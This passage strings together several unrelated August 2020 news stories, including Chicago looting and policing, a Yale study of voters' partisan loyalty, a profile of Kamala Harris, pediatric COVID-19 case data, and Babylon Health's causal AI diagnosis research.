morning to denounce the looting and announce a massive police crackdown. This is not legitimate First Amendment-protected speech, Lightfoot said. These were not poor people engaging in petty theft to feed themselves and their families. This was straight-up felony, criminal conduct. She said police would use camera footage to track down suspects, adding, We are coming for you. Brown said the looting had been fueled by misinformation about the age of the police shooting victim and the conduct of the police. Both the mayor and the police chief blamed Cook County States Attorney Kim Foxx for not being aggressive enough in prosecuting scattered instances of looting that occurred during the massive anti-police violence protests over George Floyds murder in Minneapolis. Criminals took to the streets with the confidence that there would be no consequences for their actions, Brown said. In fact, thousands of youth were arrested, beaten and teargassed from May into July. Many face trial and severe punishment this month. The Democratic political establishment is using the looting incidents to escalate police repression against an increasingly restive population. Last month, Lightfoot announced that she had reached an agreement with the Trump administration to send a surge of 200 federal agents to Chicago, allegedly to fight crime. Chicago, Americas third largest city, is a social tinderbox, the result of a four-decade-long class war overseen by the Democratic Party. Once thriving working-class neighborhoods have been reduced to poverty and destitution by the shutdown of factories and decades of budget cuts, which led to the closure of public schools, recreation centers, public housing buildings and health clinics. As thousands of low-rent homes were demolished, Democratic mayors handed over billions in tax cuts and incentives to Boeing and other corporations to set up their headquarters downtown. As powerful financial and real estate interests made a killing, rising rents drove out working class and lower middle class residents and homelessness exploded. Well aware that social tensions were reaching a breaking point, Lightfoots predecessor, Rahm Emanuel, the Obama White Houses first chief of staff who was also known as Mayor One Percent, beefed up the police forces. Lightfoot, who repeatedly claims there is no money for schools and teachers, has followed suit, adding $100 million to the budget line of the Chicago Police Department (CPD) last year, a seven percent increase over the previous year. The social crisis has only been exacerbated by the COVID-19 pandemic and the economic catastrophe it has triggered. Twenty-five thousand Illinoisans filed for unemployment August 1 and 33,000 filed the week before that. Along with jobless workers across the country, these laid off workers have now had their $600 a week federal supplement taken from them. Unemployment on the South Side is estimated to be double Chicagos official unemployment rate of 15.6 percent for June. In working class and poor neighborhoods, the devastation is similar to that seen in wartime. The suicide rate among African Americans in Chicago in 2020 has already surpassed the figure for 2019. This year, there have been 58 suicide deaths and of that total, 80 percent were men and 40 percent were under 30 years old. At the same time, Illinois is the home to at least 18 billionaires, including the states Democratic governor and Hyatt hotel magnate JB Pritzker. The relentless police violence is aimed at defending the wealth and power of the corporate and financial oligarchy against an increasingly radicalized working class. Study: Americans prize party loyalty over democratic principles It is conventional wisdom that Americans cherish democracy -- but a new study by Yale political scientists reports that only a small fraction of U.S. voters are willing to sacrifice their partisan and policy interests to defend democratic principles. The study, published in the American Political Science Review, found that only 3.5% of U.S. voters would cast ballots against their preferred candidates as punishment for undemocratic behavior, such as supporting gerrymandering, disenfranchisement, or press restrictions. "Our findings show that U.S. voters, regardless of their party affiliation, are willing to forgive undemocratic behavior to achieve their partisan ends and policy goals," said Milan Svolik, professor of political science in the Faculty of Arts and Sciences and co-author of the study. "We find that polarization raises the stakes of elections and, in turn, the price of prioritizing democratic principles over partisan interests. Voters' willingness to sacrifice democratic principles may not be desirable in terms of protecting democracy, but it has an intuitive political logic: They are trading off one political interest against another." Svolik and co-author Matthew Graham, a Ph.D. candidate in the Department of Political Science, conducted two experiments. One was an original, nationally representative survey experiment that asked respondents to choose among candidates, some of whom took positions violating key democratic principles. The other was a natural experiment the researchers conducted based on Montana's 2017 special election for the U.S. House of Representatives, in which Republican candidate Greg Gianforte physically assaulted a journalist who had repeatedly asked him a question about health policy on the night before the election. In the survey experiment, respondents were presented with a series of choices between hypothetical candidates for a state legislature. Candidates were randomly assigned attributes, including race, gender, party affiliation, and positions on economic and social issues. In four of the scenarios, both candidates adopted democratically neutral positions. In seven others, one of the candidates was randomly assigned an undemocratic position, such as support for gerrymandering or ignoring unfavorable court decisions. Overall, candidates who embraced an undemocratic position lost about 11.7% of their vote share. This may have been exacerbated by the randomized nature of the experiment, which assigned some hypothetical candidates highly unlikely attributes, such as a Democrat who supports tax cuts for the wealthy. When the researchers focused on choices respondents were more likely to encounter in the real world because candidates' adopted conventional positions for their respective parties, they found that just 3.5% of respondents would vote against their partisan interests to protect democratic principles. This reflects the consequences of political polarization, said the researchers: When party and policy are closely aligned, opposing candidates become increasingly ideologically distinct from each other, raising the price that voters must pay to punish their preferred candidate for undemocratic behavior by voting for the other candidate. In 2016, only about 5% of U.S. House district candidates won their seats by a margin of less than 7% -- making the potential loss of 3.5% in vote share unlikely to deter candidates from engaging in undemocratic behavior, the researchers said. "Our findings suggest that in the overwhelming majority of House districts, a majority-party candidate could get away with openly violating a democratic principle," said Graham. "Voters make tradeoffs. For the most part, people support candidates who share their partisan, ideological, or policy goals, even if that means condoning undemocratic behavior." When Gianforte body-slammed a reporter in his campaign office the night before Montana's 2017 congressional election, more than half of voters had already cast absentee ballots. This allowed the researchers to compare votes cast for the same pair of candidates before and after the election-eve assault. In politically moderate precincts, voters who cast ballots on Election Day punished Gianforte for the assault on the journalist by voting across party lines. In hardline Republican precincts, significantly fewer voters punished Gianforte for his undemocratic behavior on Election Day, according to the study. The researchers assert that their findings expose a blind spot in conventional methods of measuring support for democracy, which often involve asking people questions like: "Democracy may have problems, but it is better than any other form of government. To what extent do you agree or disagree with this statement?" "Conventional measures don't capture people's willingness to act on their commitment to democratic values when doing so is politically costly," Svolik said. "If, as we found, only a small percentage of voters are willing to punish undemocratic behavior by their favored candidates in one of the world's oldest democracies, then we shouldn't be surprised by voters' failure to stop aspiring autocrats in younger democracies like Turkey, Hungary, or Venezuela." ### Yale's Institution for Social and Policy Studies and MacMillan Center for Area and International Studies supported the research. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Former Editor of PM News, Olanrewaju Rasak Babalola is dead. He died on Monday at the age of 57 after protracted illness. He died of cancer of the colon. Until his demise, he was being treated at the Lagos University Teaching Hospital, LUTH. A veteran journalist, Babalola spent 28 years in journalism. 20 of those years were spent in the employ of the Independent Communications Network Limited, ICNL, publisher of TheNEWS and PM News where he helped to take the newspaper to an enviable position. His death has brought the entire family of ICNL into mourning. He was the News Editor of the platform when it was still producing hard copy of the newspaper and later became the Editor when the newspaper migrated fully online in 2015. Babalola was born on 14 June, 1963. He attended Christ Church Cathedral School, Broad Street, Lagos for primary education between 1971-76. He attended Nigeria Peoples High School (NIGERPECO), Ebute Meta, Lagos between 1976 and 1981. He also attended The Polytechnic Ibadan, Oyo State between 1984 and 1986 for his Ordinary National Diploma in Mass Communication. Babalola held a diploma in Mass Communication from the University of Lagos (1992) and further attended Moshood Abiola Polytechnic for his Higher National Diploma (HND) in Mass Communication between 1996 and 1998. He started his journalism career at the defunct Satellite newspaper as a Labour reporter in 1992. He later moved to Today News Today (TNT) as a General reporter in 1994. In 1998, he was appointed acting News Editor of TNT by the management. In 2000, he moved to PMNEWS as a News Editor and became the Editor of PMNEWS online from 2015 to 2019. He was a member of the Nigerian Union of journalists (NUJ). Related Chinese air force jets briefly crossed the mid-line of the Taiwan Strait on Monday and were tracked by Taiwanese missiles, Taiwans government said, as US health secretary Alex Azar visited the island to offer President Donald Trumps support. Azar, the highest-level US official to visit in four decades, arrived in Taiwan on Sunday. China, which claims the island as its own, condemned the visit which comes at a period of sharply deteriorating relations between China and the US. China flew J-11 and J-10 fighter aircraft onto Taiwans side of the sensitive strait that separates it from its giant neighbour, at around 9am local time, shortly before Azar met Taiwan President Tsai Ing Wen, Taiwans air force said. Beijing, meanwhile, sanctioned 11 US lawmakers and individuals in a tit-for-tat move against a US move to sanction 11 Chinese and Hong Kong officials over the passing of the security law. A foreign ministry spokesperson said the US should stop official interactions and the upgrading of substantive relations with Taiwan. Advertisement Kamala Harris, the daughter of immigrants, whose career was defined by a series of firsts - first black woman to serve as San Francisco's district attorney and as the first black woman to serve California's attorney general - has added another first to that list: first black woman vice presidential candidate. Presumptive Democratic nominee Joe Biden named his former rival for the nomination to the number two spot on Tuesday, giving her a place by his side as he works to defeat President Donald Trump this November. Harris, 55, made a name for herself in San Francisco both in her work as a prosecutor and in the society pages for her friendships with the city's elite and her relationship with former mayor Willie Brown. She launched her career as the city's district attorney, became California's attorney general and moved on to the Senate in 2016 after Senator Barbara Boxer retired. Her national profile increased when she drew on her experience as a lawyer to engage in political combat, whether it was with President Donald Trump's officials and nominees in Senate hearings or with Biden on the Democratic debate stage. It was that spanking on the debate stage - when she criticized Biden for his standing on a federal busing program that benefited minorities, including herself - that elevated her to the top tier of presidential candidates. It also earned her a nickname from Trump, who dubbed her 'Phony Kamala'. Kamala Harris, the daughter of immigrants, whose career was defined by a series of firsts - first black woman to serve as San Francisco's district attorney and as the first black woman to serve California's attorney general - has added another first to that list: first black woman vice presidential candidate Presumptive Democratic nominee Joe Biden named his former rival for the nomination to the number two spot on Tuesday, giving her a place by his side as he works to defeat President Donald Trump this November Harris tweeted: 'I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief' Biden looked visibly taken aback when Harris told him on the debate stage in Miami last July: 'There was a little girl in California who was part of the second class to integrate her public schools, and she was bused to school every day, and that little girl was me.' The moment helped her jump in the polls and rake in a quick $2 million in fundraising but her campaign was down hill from there, falling behind in polling and fundraising as Harris struggled with her message and was beset by internal staff squabbles. In November, she laid off staff and pinned all her hopes on Iowa. But, a month later on December 3, 2019, she dropped out of the presidential race two months before Iowa held its caucuses. In a touch of political irony, it was an early focus on health care policy and economic issues during the primary season that hurt her campaign as neither area was one of her strengths. But the death of George Floyd, a Minnesota black man who died on May 25 after white police officer knelt on his neck for nearly 9 minutes, brought race relations to the forefront of the country and saw Black Lives Matter demonstrations spring up around the nation. Biden had vowed to name a woman as his running mate. Harris' name was already on the list but, after Floyd's death, pressure increased on the Democratic nominee to name a black woman. Harris became a top contender for the number two spot, along with former National Security Adviser Susan Rice, Senator Elizabeth Warren and several other prominent women. Harris was born on October 20, 1964, in Oakland, California, across the bay in a much less affluent neighborhood than the one in which she would make her mark Her mother, Shyamala Gopalan, was the daughter of an Indian diplomat and a women's rights activist, graduated from the University of Delhi at nineteen, and, in order to avoid an arranged marriage, went to the University of California at Berkeley to pursue graduate studies. There, she met another graduate student, Donald Harris (together left), from Jamaica, who was studying for his Ph.D. in economics, during a political protest. Pictured right: Harris and her mother : Kamala Harris' mother, Shyamala Gopalan Harris, was a 25-year-old academic when her first daughter arrived. Kamala Harris has a younger sister, Maya, with whom she was photographed on Christmas Day 1968 Harris, back row at left, in an undated family photo. Next to her, from left, are her grandmother Rajam Gopalan, grandfather P.V. Gopalan and sister, Maya Harris. With them are Maya's daughter, Meena, left, and Harris' cousin Sharada Balachandran Orihuela Family: Donald Harris went to Stanford to study economics and became a professor at the college. Donald Harris was from Jamaica, where his grandmother, Iris Finegan, was photographed with Kamala Harris as a toddler Ice time: Kamala Harris went on a family trip from the west coast to New York in September 1966, where she was photographed in Harlem Dressed up: Kamala Harris was six and her sister two when this photograph was taken outside their mother's Berkeley apartment Howard student: Kamala Harris was at the Washington D.C. college known as the 'black Harvard' when she and friend Gwen Whitfield took part in an anti-apartheid protest in November 1982 Harris's husband who is a corporate lawyer in Los Angeles. The two married at a small ceremony in Santa Barbara in 2014, after they met on a blind date a year earlier. Maya officiated. He has two grown-up children from a previous marriage: Cole and Ella. Harris calls herself 'Momala,' the name she says her stepchildren gave her In all, 11 women are said to have been considered, a mix of senators, governors, mayors and members of Congress. And, as Harris' name rose on the contender list, there was speculation that debate moment might count against her. Jill Biden told supporters that Harris's comment was like a 'punch to the gut.' Also, there was a report in Politico that some of Biden's allies worried about the California senator joining the ticket, saying she was too 'ambitious' - which was seen as an insult to her given her qualifications to hold the office. Biden literally had the answers to all that a July 28 press conference in Wilmington when an Associated Press photographer captured the writing on his note pad, which was filled with praise for Harris: 'Do not hold grudges.' 'Campaigned with me & Jill.' 'Talented.' 'Great help to campaign.' 'Great respect for her.' Harris' ties to the Biden family go back to the eldest son Beau, who died of complications of brain cancer in May 2015. The two connected when they served as attorneys general in their respective states. They used each other as sounding boards and texted often, mutual friends told the Associated Press last year. Beau introduced Harris to his father, who was serving as Barack Obama's vice president at the time. Joe Biden endorsed Harris early on in her Senate campaign, noting she was a friend of his son. 'Beau always supported her,' he said in his endorsement. 'She'd been welcomed into the fold, and that's basically forever with the Bidens,' a friend of the family told The Daily Beast last month as Harris' went through the vice presidential vetting process. Harris' start in politics came far from the Biden family, at the opposite end of the country in San Francisco, a city proud of its political names: Nancy Pelosi, Gavin Newsom, Dianne Feinstein and Willie Brown. And Harris added her name to that list. She made it partly through Brown. The two started dating in the spring of 1994, when she showed up at his date at several high-profile functions. She was 30 and Brown was 60, serving as the Democratic speaker of the California State Assembly. He was then and still is married but lives apart from his wife. He's had a series of girlfriends. Harris' start in politics came far from the Biden family, at the opposite end of the country in San Francisco, a city proud of its political names: Nancy Pelosi, Gavin Newsom, Dianne Feinstein and Willie Brown (pictured together in 1995). Harris and Brown started dating in the spring of 1994, when she showed up at his date at several high-profile functions. She was 30 and Brown was 60, serving as the Democratic speaker of the California State Assembly. He was then and still is married but lives apart from his wife. The two dated for a short period of time when he ran for mayor and broke up between his victory party and the swearing-in ceremony. Harris has since called their romance 'an albatross' around her neck Harris' ties to the Biden family go back to the eldest son Beau (pictured together), who died of complications of brain cancer in May 2015. The two connected when they served as attorneys general in their respective states. They used each other as sounding boards and texted often, mutual friends told the Associated Press last year In 2002, she challenged San Francisco's incumbent district attorney, the progressive Terence Hallinan, who was her former boss. She quit the office - known for it disorganization and low conviction rates - and launched her campaign against him. Her tenure as the city's top cop was not without controversy, particularly a case that made national news. In 2004, shortly after she took over in the DA's office, she declined to pursue the death penalty for a gang member accused of shooting 29-year-old San Francisco cop Isaac Espinoza - despite heavy political pressure from the police union Beau introduced Harris to his father, who was serving as Barack Obama's vice president at the time. Joe Biden endorsed Harris early on in her Senate campaign, noting she was a friend of his son. 'Beau always supported her,' he said in his endorsement. Pictured: Harris with California Governor Gavin Newsom and President Barack Obama in 2011, when she was California's Attorney General The two dated for a short period of time when he ran for mayor and broke up between his victory party and the swearing-in ceremony. Harris has since called their romance 'an albatross' around her neck. But Brown opened doors for her as he opened doors for other politicians such as Gavin Newsom, the former San Francisco mayor who is now governor of California. Brown appointed Newsom to San Francisco Parking and Traffic Commission, and later, to the San Francisco Board of Supervisors - positions that paved his path to the mayor's office. Brown arranged appointments for Harris on two state boards: California Unemployment Insurance Appeals Board and the Medical Assistance Commission. Together, the appointments paid her about four hundred thousand dollars over five years. He gave her a BMW. She used her connections to join the city's social elite. She joined the board of the San Francisco Museum of Modern Art and worked on causes like AIDS, appearing in the society pages as galas, fashion shows and posh socialite weddings. In 2002, she challenged San Francisco's incumbent district attorney, the progressive Terence Hallinan, who was her former boss. She quit the office - known for it disorganization and low conviction rates - and launched her campaign against him. To combat the pictures of her in society publications she opened her campaign office in the Bayview-Hunters Point neighborhood, a historically nonwhite area. She campaigned in front of post offices and grocery stores with an ironing board - calling it the first standing desk and showing the minority population how to turn an ordinary domestic tool into an instrument of executive power. But she struggled to gain traction as the moderate candidate in a three-person race. Then candidate Bill Fazio, an ultra liberal, took out a campaign hit on Harris: 'I don't care if Willie Brown is Kamala Harris' ex-boyfriend. What bothers me is that Kamala accepted two appointments from Willie Brown to high-paying, part-time state boards - including one she had no training for - while being paid $100,000-year as a full-time county employee.' Biden looked visibly taken aback when Harris told him on the debate stage in Miami last July: 'There was a little girl in California who was part of the second class to integrate her public schools, and she was bused to school every day, and that little girl was me' The moment helped her jump in the polls and rake in a quick $2 million in fundraising but her campaign was down hill from there, falling behind in polling and fundraising as Harris struggled with her message and was beset by internal staff squabbles. In November, she laid off staff and pinned all her hopes on Iowa. But, a month later on December 3, 2019, she dropped out of the presidential race two months before Iowa held its caucuses THE PEOPLE WHO SHAPE KAMALA HARRIS Shyamala Gopalan Harris' mother was the daughter of an Indian diplomat and a women's rights activist, graduated from the University of Delhi at nineteen, and, in order to avoid an arranged marriage, went to the University of California at Berkeley. She was one of the prominent breast cancer researchers in the country. She died of colon cancer in 2009. Donald Harris Harris' father is a retired economics professor from Stanford. He originally is from Jamaica and met Gopalan at a political protest when they were both students at Berkley. The couple divorced when Harris was seven. P.V. Gopalan Harris' maternal grandfather. He was an Indian freedom fighter in the independence movement during the final years of British rule, and a career civil servant who became a diplomat in later life. Harris, when she was five, visited her grandfather when he was on assignment in Lusaka, Zambia. The two kept up a long correspondence and she credits him with her interest in public service. Maya Harris Harris' sister who works as a public policy advocate and served as chair of Harris' presidential campaign. Maya Harris also served as a policy adviser to Hillary Clinton's 2016 campaign, as a leader at the American Civil Liberties Union, and as a vice president at the Ford Foundation. The sisters are separated by two years Kamala is the oldest and spoke of their close childhood. Meena Harris Kamala's niece, born when Maya was 17 and had recently graduated high school. Kamala and Shyamala helped raised Meena while Maya went to college. Maya is now a mother herself, making Harris a great-aunt. Doug Emhoff Harris's husband who is a corporate lawyer in Los Angeles. The two married at a small ceremony in Santa Barbara in 2014, after they met on a blind date a year earlier. Maya officiated. He has two grown-up children from a previous marriage: Cole and Ella. Harris calls herself 'Momala,' the name she says her stepchildren gave her. Advertisement It backfired and vaulted Harris into a run off against Hallinan that she went on to win. Her tenure as the city's top cop was not without controversy, particularly a case that made national news. In 2004, shortly after she took over in the DA's office, she declined to pursue the death penalty for a gang member accused of shooting 29-year-old San Francisco cop Isaac Espinoza - despite heavy political pressure from the police union. Harris had campaigned on the promise never to pursue the death penalty and stuck to that during the case. The killer was sentenced to life in prison. In 1973, California passed a law that made the murderer of a police officer eligible for the death penalty. Instead Harris' office pursued a life in prison without parole conviction. Democratic Sen. Dianne Feinstein was invited to give a eulogy at Espinoza's funeral, where she called for the death penalty to be used in the case. Feinstein received a standing ovation from the hundreds of rank-and-file officers at the funeral as Harris sat in the front row. Harris has made her prosecutorial experience one of her primary arguments for why she should take on President Donald Trump in 2020. 'My whole life, I've only had one client: the people,' Harris said in January 2019 when she formally launched her campaign for the Democratic presidential nomination. 'Fighting for the people meant fighting on behalf of survivors of sexual assault - a fight not just against predators but a fight against silence and stigma.' She ran for California attorney general in 2010 and for Senate in 2016. While in the Senate she made headlines for her questioning of Attorney General Bill Barr at a May 2019 hearing of the judiciary panel. 'Has the President or anyone at the White House ever asked or suggested that you open an investigation of anyone? Yes or no, please, sir,' she said to him. Barr stuttered and didn't answer her question. From her perch on judiciary she's questioned a number of high-profile figures in hearings, including then-Attorney General Jeff Sessions, who said Harris' questions made him 'nervous'; Facebook founder Mark Zuckerberg and Trump's Supreme Court nominee Brett Kavanaugh. She was one of the female senators who called for Senator Al Franken to resign after allegations of sexual harassment. She voted for both counts of impeachment against President Trump, who was acquitted by the greater Senate. Harris was born on October 20, 1964, in Oakland, California, across the bay in a much less affluent neighborhood than the one in which she would make her mark. Her mother, Shyamala Gopalan, was the daughter of an Indian diplomat and a women's rights activist, graduated from the University of Delhi at nineteen, and, in order to avoid an arranged marriage, went to the University of California at Berkeley to pursue graduate studies. There, she met another graduate student, Donald Harris, from Jamaica, who was studying for his Ph.D. in economics, during a political protest. Her parents divorced when she was seven. Gopalan, who was one of the most prominent breast cancer researchers in the country, is credited by Harris as introducing her to the civil rights movement and social activism. 'My mother used to say, don't sit around and complain about things, do something,' Harris told 20,000 supporters at her kick-off rally in Oakland on Martin Luther King weekend 2019. Gopalan died of colon cancer in 2009. Harris' father is still alive but the two are not close. He is a retired Stanford economics professor who studied issues like income inequality. Harris began her career as a lawyer in 1990, after graduating from Howard University in Washington D.C. and the University of California's Hastings College of the Law. She married Emhoff, a corporate lawyer in Los Angeles, at a small ceremony in 2014 after meeting him on a blind date the previous year. He has two children from a previous marriage: Cole and Ella. Harris calls herself 'Momala,' the name she says her stepchildren gave her. She is close to her sister Maya, who served as her campaign chairwoman. She also helped raised her niece, Meena, who was born when Maya was 17. Her first job was at the Alameda County district attorney's office in Oakland, where Terence Hallinan plucked her to come work for him, starting her political ascendency. A horrendous case of child abuse has just been uncovered in Kebbi state, in northwest Nigeria: of a 10 year-old boy tethered in a pen with domestic animals for two years and who survived eating the food remnants left by the animals. The abuse has been ranked as arguably the worst in Nigeria, a possible horror candidate in the Guinness Book of Records. The boys story was shared on Twitter Monday night by Manir Jega, with video clips and photos that will rend the heart. It was the story of how a supposed father and two wives gave the mother of all bestial treatment to a young boy, who lost his mother in the polygamous home. The boy was eight years-old when he was thrown into the animal pen by his father. When he was found two years after, he had only a skeletal frame, drained of all the attributes of kids his age. Jega wrote: This is a story of a boy called Jibril Aliyu, who hails from Badariya Area of Birnin Kebbi, Kebbi State. He was chained alongside animals by his 2 stepmother for 2 years. His mother died 2 years ago. He was denied shelter, clothing, food, not to talk of health care. He was maltreated by these same people like an animal to the extent that he was feeding on the remnant food of the animals he was tied with and even ate his faeces, until he was rescued by some Human Right Activist. As a result of monstrous and nefarious treatment he was subjected to, he entirely lost his senses and behaves exactly like an animal. What is most surprising is the fact that his father was living in the same house with them while he undergoes this inhumane and savagely cruel treatment. His 2 evil step mothers, together with his father are currently in police custody. While the 10 year old Jibril is undergoing treatment and rehabilitation at the Federal Medical Center Birnin Kebbi. What happened to Jibril is the highest level of barbarity and extreme cruelty. I therefore call on the Kebbi State Government to ensure that the culprits face the full wrath of the law. I also call on the good people of Kebbi State and beyond to riseup en mass until justice prevails for Jibril I pray that the villainous culprits will pay dearly for their atrocity! Watch the videos: Related STATEN ISLAND, N.Y. -- As students across the United States prepare to head back to school in the fall, a new report from the American Academy of Pediatrics (AAP) found a 90% increase in the number of coronavirus (COVID-19) cases in children during a four-week span. According to a state and city analysis by AAP, there was a 90% rise in child coronavirus cases over four weeks -- from 200,184 cases on July 9 to 380,174 cases on Aug. 6. Thats an increase of 179,990 new child cases. AAP analyzed state-level reports available on child COVID-19 cases in the United States -- looking at age distribution of reported coronavirus cases provided on the health department websites of 49 states, New York City, Washington, D.C., Puerto Rico and Guam. Dr. Sean OLeary, vice chair of the American Academy of Pediatrics Committee on Infectious Diseases, told CNN in an interview Monday that its not fair to say that this virus is completely benign in children. He pointed to the 90 deaths of children in the United States in just a few months, and there are concerns about the upcoming flu season, as AAP typically sees about 100 deaths in children from influenza every year, he told the media outlet. OLeary told CNN there are multiple factors that led to the increase in the number of child coronavirus cases, including: increased testing; increased movement among children; a rise in infection in the general population. If there are more adult cases, child cases will also rise. While kids represented just 9.1% of all cases in the United States, over 380,000 children have tested positive for the coronavirus since the onset of the pandemic, AAP reported. New York City reported that 3% or less of coronavirus cases were in children. A smaller subset of states reported on hospitalizations and mortality by age, but the available data indicated that COVID-19-associated hospitalization and death is uncommon in children, AAP reported in its analysis. At this time, it appears that severe illness due to COVID-19 is rare among children. However, states should continue to provide detailed reports on COVID-19 cases, testing, hospitalizations, and mortality by age so that the effects of COVID-19 on childrens health can continue to be documented and monitored. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** Severe symptoms of COVID-19 still appear to be rare, according to the AAP analysis, in which children were 0.5% to 5.3% of total reported hospitalizations. According to the analysis, children in the United States accounted for 0% to 0.4% of all COVID-19 deaths. Nineteen states reported zero child deaths. According to states reporting, 0% to 0.5% of all child COVID-19 cases resulted in death. A report from the Centers for Disease Control and Prevention (CDC) found that most reported COVID-19 infections in children younger than 18 years old are asymptomatic or mild, and less is known about severe infection in children requiring hospitalization. The report analyzed pediatric COVID-19 hospitalization data from 14 states and found that the cumulative rate of hospitalization in children (8.0 per 100,000) is low compared to adults (164.4 per 100,000). However, one in three hospitalized children were admitted to an intensive care unit. The CDC said children remain at risk for severe COVID-19 illness. Reinforcement of prevention efforts is essential in settings that serve kids, including child care centers and schools, the CDC said. Related stories: What will reopening look like in largest U.S. school districts? Face mask protocols in NYC schools: What you need know 2020-2021 school year: 26% of NYC families choose full-time remote learning Coronavirus: Reopening plans for Staten Island charter schools 2020-2021 school year in NYC: Guidelines on gym, music and more Coronavirus: How NYC plans to safely reopen schools in fall 2020-2021 academic year: Reopening plans for schools across Staten Island NYC schools reopening: State guidelines for special education The Catholic elementary school reopening plan: Face masks, temperature checks and more NYC schools reopening: Transportation plan for students remains unclear FOLLOW ANNALISE KNUDSON ON FACEBOOK AND TWITTER. Happy with the positive response his debut directorial, Dil Bechara, has been garnering, casting director Mukesh Chhabra miss having late actor Sushant Singh Rajput by his side to celebrate. A remake of the Hollywood film, The Fault In Our Stars (2014), Rajputs swansong released on an OTT platform last film. Chhabra had earlier revealed that the late actor was excited about the project and kept his promise to be a part of Chhabras directorial debut. Sushant would have been really happy. Everything he did, he did to make people happy and bring a smile on their faces. I think he would have been really proud (to see the film). I cant stop thinking how different and more meaningful it would be with him around. I miss his smile and his pure soul. I miss calling him brother, says Chhabra, adding that hes overwhelmed with all the love the film has been getting. People are saying such lovely things about the film be it the on-point portrayal of each character or the emotional journey, the sets, the camera work and the honesty of the film, adds Chhabra. Those who had known Rajput closely have mostly spoken about his happy-go-lucky nature, siding reports of him showing any signs of being stressed or depressed. Chhabra affirms the thought and adds, Sushant was always such a happy guy. No one would ever even imagine such things about him. He was always playful and so energetic on set. We used to sing, dance and crack jokes all the time. Given that Rajput shot for his last film with Chhabra, asked if the actor ever mentioned about anything bothering him or behaved in a certain way, Chhabra tells us, No, he didnt. Like I said he was always very playful and so energetic whenever we met. Not saying much about the ongoing CBI probe into Rajputs death case, all Chhabra could say is, Everything is going as per law. Follow @htshowbiz for more Author tweets @Shreya_MJ SHARE THIS ARTICLE ON The Australian Defence Force repeatedly offered to assist Victoria establish and maintain quarantine arrangements for returned travellers but was told by the Andrews government its help was not needed, Defence Minister Linda Reynolds has revealed. The statement by Senator Reynolds appeared to contradict Victorian Premier Daniel Andrews testimony to a parliamentary inquiry into Victorias response to the COVID-19 pandemic given earlier on Tuesday. Premier Daniel Andrews speaking at the committee hearing on Tuesday. Mr Andrews told a hearing of the public accounts and estimates committee on Tuesday morning that the ADF did not offer any support to Victorias hotel quarantine regime. "I dont believe ADF support was on offer," he said. Babylon's new Artificial Intelligence with 'imagination' could help doctors with diagnosis. Credit: Babylon Health Doctors are overworked and in short supply around the globe, but they could soon be assisted by machine learning to reduce errors in primary care. AI symptom checkers are tremendously valuable in providing medical information and safe triaging advice to users. However, none of them performs diagnoses like a doctor. Unlike doctors, existing symptom checkers provide advice based on correlations aloneand correlation is not causation. Researchers at Babylon have, for the first time that we know of, used the principles of causal reasoning to enable AI to diagnose written test cases. The researchers used a new approach, known as causal machine learningwhich is gaining increased traction in the AI communityto act as an "imagination" so the AI could consider what symptoms it might see if the patient had an illness different to the one it was considering. The peer-reviewed research, published in Nature Communications, shows that disentangling correlation from causation makes the AI significantly more accurate. Dr. Jonathan Richens, Babylon scientist and lead author, said, "We took an AI with a powerful algorithm and gave it the ability to imagine alternate realities and consider if a symptom would be present if it was a different disease. This allows the AI to tease apart the potential causes of a patient's illness and score more highly than over 70% of the doctors on these written test cases." Dr. Ali Parsa, CEO and founder of Babylon, said, "Half the world has almost no access to healthcare. We need to do better. So it's exciting to see these promising results in test cases. This should not be sensationalized as machines replacing doctors, because what is truly encouraging here is for us to finally get tools that allow us to increase the reach and productivity of our existing healthcare systems. AI will be an important tool to help us all end the injustice in the uneven distribution of healthcare, and to make it more accessible and affordable for every person on Earth." A pool of over 20 Babylon GPs created 1,671 realistic written medical casesthese included typical and atypical examples of symptoms for more than 350 illnesses. Each case was authored by a single doctor and then verified by multiple other doctors to ensure it represented a realistic diagnostic case. A separate group of 44 Babylon GPs were then each given at least 50 written cases (the mean was 159) to assess. The doctors listed the illnesses they considered most likely (on average returning 2.58 potential diseases for each diagnosis). They were measured for accuracy by the proportion of cases where they included the true disease in their diagnosis. Babylon's AI took the same tests and used both an older algorithm based on correlations created specifically for this research, and the newer, causal one. For each test, the AI could only report as many answers as the doctor had. The doctors had a mean score of 71.40% ( 3.01%) and ranged from 50-90%. The older correlative algorithm performed on par with the average doctor, achieving 72.52% ( 2.97%). The new causal algorithm scored 77.26% ( 2.79%) which was higher than 32 of the doctors, equal to 1, and lower than 11. Dr. Tejal Patel, associate medical director and GP, Babylon, said, "I'm excited that one day soon this AI could help support me and other doctors reduce misdiagnosis, free up our time and help us focus on the patients who need care the most. I look forward to when this type of tool is standard, helping us enhance what we do." Dr. Saurabh Johri, chief scientist and author, Babylon, added, "Interestingly, we found that the AI and doctors complemented each otherthe AI scored more highly than the doctors on the harder cases, and vice versa. Also, the algorithm performed particularly well for rare diseases which are more commonly misdiagnosed, and more often serious. Switching from using correlations improved accuracy for around 30% of both rare and very-rare conditions." It is not necessary to alter the underlying models of disease that an AI uses in order to get an improvement in accuracy. It is a benefit that would apply to existing correlative algorithms, including those outside of the medical setting. Dr. Ciaran Lee, study author, formerly of Babylon and honorary lecturer at UCL, said, "Causal machine learning allows us to ask richer, more natural questions about medicine. This method has huge potential to improve every other current symptom checker, but it can also be applied to many other problems in healthcare and beyondthat's why causal AI is so impressive, it's universal." This technology paves the way for a future partnership between clinicians and AI that will speed up a doctor's diagnosis, improve accuracy, free up time for clinicians and improve patient outcomes and patient experiences. It has the potential to augment the work of clinicians and continue to drive a better healthcare system for patients. This new causal algorithm is not yet present in Babylon's publicly available app. It will only be released after further development and testing, and once it has met all necessary regulatory approvals in the UK and other markets where it will be released. Explore further Tech's role in medical care systems under discussion as Babylon Health shows its AI capabilities More information: Improving the accuracy of medical diagnosis with causal machine learning, Nature Communications (2020). Journal information: Nature Communications Improving the accuracy of medical diagnosis with causal machine learning,(2020). DOI: 10.1038/s41467-020-17419-7 Provided by Babylon A recent increase in Vietnam Airlines flights has been blocked with the rising number of Covid-19 infections, threatening to undermine its recovery plans. Duong Tri Thanh, CEO, said at the national flag carriers annual general meeting Monday that its figures were improving in June and July with 18 new domestic routes launched. The number of domestic flights in the third week of July was over 500, up 40 percent year-on-year. Thanh estimated that between May and July, the domestic aviation market had reached 90 percent of activity in the same period last year, much higher than other countries that had also contained the novel coronavirus, like Japan at 70 percent and China at 60 percent. But, since the Covid-19 